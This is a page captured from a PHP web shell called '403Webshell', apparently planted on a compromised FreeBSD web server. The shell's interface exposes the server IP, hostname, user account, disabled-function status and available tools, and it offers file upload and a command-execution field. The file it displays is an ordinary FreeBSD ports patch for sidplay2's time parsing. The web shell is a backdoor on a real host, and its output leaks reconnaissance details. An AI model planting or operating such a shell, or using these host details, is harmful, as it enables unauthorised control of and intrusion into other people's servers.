403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/audio/sidplay2/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/audio/sidplay2/files/patch-src_args.cpp
--- src/args.cpp.orig	2004-05-05 23:49:20 UTC
+++ src/args.cpp
@@ -95,7 +95,7 @@ using std::endl;
 // Convert time from integer
 bool ConsolePlayer::parseTime (const char *str, uint_least32_t &time)
 {
-    char *sep;
+    const char *sep;
     uint_least32_t _time;
 
     // Check for empty string
@@ -110,8 +110,9 @@ bool ConsolePlayer::parseTime (const cha
     else
     {   // Read in MM:SS format
         int val;
-        *sep = '\0';
-        val  = atoi (str);
+        char *tmp = strndup(str, sep - str);
+        val  = atoi (tmp);
+        free(tmp);
         if (val < 0 || val > 99)
             return false;
         _time = (uint_least32_t) val * 60;

Youez - 2016 - github.com/yon3zu
LinuXploit